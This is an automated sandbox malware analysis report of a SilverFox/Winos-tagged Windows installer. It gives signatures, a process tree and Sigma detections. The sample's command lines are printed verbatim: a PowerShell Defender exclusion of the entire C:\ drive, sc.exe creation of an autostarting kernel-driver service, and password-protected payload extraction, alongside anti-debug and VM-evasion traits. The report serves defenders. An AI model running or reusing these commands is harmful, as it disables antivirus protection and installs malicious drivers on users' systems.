Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
#U5b89#U88c5#U52a9#U624b_2.0.6.exe

Overview

General Information

Sample name:#U5b89#U88c5#U52a9#U624b_2.0.6.exe
renamed because original name is a hash value
Original sample name:_2.0.6.exe
Analysis ID:1579778
MD5:2fab10855efc0dc62a255ff1e6ec8fa6
SHA1:0d69a4ea968d50370ee5f7d6e78252f5f61b75f5
SHA256:869de4431ad5ea6b7513c3e12ff32ecd8b0e93e33c5ab6e3de7bf90de55edc23
Tags:exeSilverFoxwinosuser-kafan_shengui
Infos:

Detection

Score:88
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Contains functionality to hide a thread from the debugger
Found driver which could be used to inject code into processes
Hides threads from debuggers
Loading BitLocker PowerShell Module
PE file contains section with special chars
Protects its processes via BreakOnTermination flag
Query firmware table information (likely to detect VMs)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
AV process strings found (often used to terminate AV products)
Checks if the current process is being debugged
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: New Kernel Driver Via SC.EXE
Sigma detected: Powershell Defender Exclusion
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • #U5b89#U88c5#U52a9#U624b_2.0.6.exe (PID: 6300 cmdline: "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" MD5: 2FAB10855EFC0DC62A255FF1E6EC8FA6)
    • #U5b89#U88c5#U52a9#U624b_2.0.6.tmp (PID: 4288 cmdline: "C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp" /SL5="$20432,4753239,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" MD5: 9902FA6D39184B87AED7D94A037912D8)
      • powershell.exe (PID: 2520 cmdline: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 3056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WmiPrvSE.exe (PID: 6412 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
      • #U5b89#U88c5#U52a9#U624b_2.0.6.exe (PID: 5856 cmdline: "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" /VERYSILENT MD5: 2FAB10855EFC0DC62A255FF1E6EC8FA6)
        • #U5b89#U88c5#U52a9#U624b_2.0.6.tmp (PID: 4284 cmdline: "C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp" /SL5="$20442,4753239,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" /VERYSILENT MD5: 9902FA6D39184B87AED7D94A037912D8)
          • 7zr.exe (PID: 7160 cmdline: 7zr.exe x -y res.dat -pad8dtyw9eyfd9aslyd9iald MD5: 84DC4B92D860E8AEA55D12B1E87EA108)
            • conhost.exe (PID: 4308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • 7zr.exe (PID: 1264 cmdline: 7zr.exe x -y locale3.dat -pasfasdf79yf9layslofs MD5: 84DC4B92D860E8AEA55D12B1E87EA108)
            • conhost.exe (PID: 5792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • cmd.exe (PID: 7160 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
            • sc.exe (PID: 3608 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
  • cmd.exe (PID: 984 cmdline: cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 768 cmdline: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7060 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 3292 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 2072 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 3160 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • Conhost.exe (PID: 2452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 6300 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 1020 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 6004 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7140 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • conhost.exe (PID: 3396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 2804 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 2380 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7056 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 1472 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 2452 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 6612 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 2212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 6300 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 1868 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 1440 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 3396 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 344 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 1476 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7100 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 6204 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 1600 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 4592 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 3304 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 5728 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 2452 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 5996 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 4676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 6300 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 4324 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 6844 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 5692 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 1532 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 6500 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 5148 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 6472 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 3876 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 3056 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 2284 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 1272 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 4288 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 5996 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 1440 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 5880 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 5148 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 2072 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 3628 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 3656 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 3056 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7092 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 4288 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 2212 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 5996 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 940 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 4324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 4352 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 6496 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7056 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 2704 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7060 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 6644 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 4416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 5744 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp" /SL5="$20432,4753239,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp, ParentProcessId: 4288, ParentProcessName: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, ProcessCommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 2520, ProcessName: powershell.exe
Sigma detected: New Kernel Driver Via SC.EXE
Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, CommandLine: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 984, ParentProcessName: cmd.exe, ProcessCommandLine: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, ProcessId: 768, ProcessName: sc.exe
Sigma detected: Powershell Defender Exclusion
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp" /SL5="$20432,4753239,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp, ParentProcessId: 4288, ParentProcessName: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, ProcessCommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 2520, ProcessName: powershell.exe
Sigma detected: New Service Creation Using Sc.EXE
Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, CommandLine: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 984, ParentProcessName: cmd.exe, ProcessCommandLine: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, ProcessId: 768, ProcessName: sc.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp" /SL5="$20432,4753239,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp, ParentProcessId: 4288, ParentProcessName: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, ProcessCommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 2520, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeVirustotal: Detection: 6%Perma Link
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 83.1% probability
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: c:\builddir\threat~1.26\drivers\tfsysmon\objfre_wnet_amd64\amd64\TfSysMon.pdb source: 7zr.exe, 0000000C.00000003.2140314078.0000000003C10000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe, 0000000C.00000003.2140505560.0000000001240000.00000004.00001000.00020000.00000000.sdmp, tProtect.dll.12.dr
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA1AEC0 FindFirstFileA,FindClose,6_2_6CA1AEC0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00AF6868 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,10_2_00AF6868
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00AF7496 __EH_prolog,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLogicalDriveStringsW,10_2_00AF7496
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000003.2091294061.0000000004150000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000003.2091294061.0000000004150000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000003.2091294061.0000000004150000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000003.2091294061.0000000004150000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000003.2091294061.0000000004150000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000003.2091294061.0000000004150000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000003.2091294061.0000000004150000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000003.2091294061.0000000004150000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000003.2091294061.0000000004150000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
